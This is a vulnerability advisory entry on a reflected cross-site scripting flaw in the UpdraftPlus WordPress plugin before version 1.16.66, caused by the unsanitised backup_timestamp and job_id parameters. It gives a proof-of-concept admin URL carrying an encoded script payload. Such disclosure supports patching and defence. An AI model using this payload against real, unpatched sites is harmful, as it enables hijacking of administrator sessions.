WordPress Plugin Vulnerabilities
UpdraftPlus < 1.16.66 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape the backup_timestamp and job_id parameter before outputting then back in admin pages, leading to Reflected Cross-Site Scripting issues
Proof of Concept
https://example.com/wp-admin/options-general.php?page=updraftplus&backup_timestamp=%3Cscript%3Ealert%28/XSS/%29%3B%3C%2Fscript%3E&action=updraft_restore
Affects Plugins
Fixed in 1.16.66 References
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-12-06 (about 2 years ago)
Added
2021-12-06 (about 2 years ago)
Last Updated
2022-04-11 (about 2 years ago)
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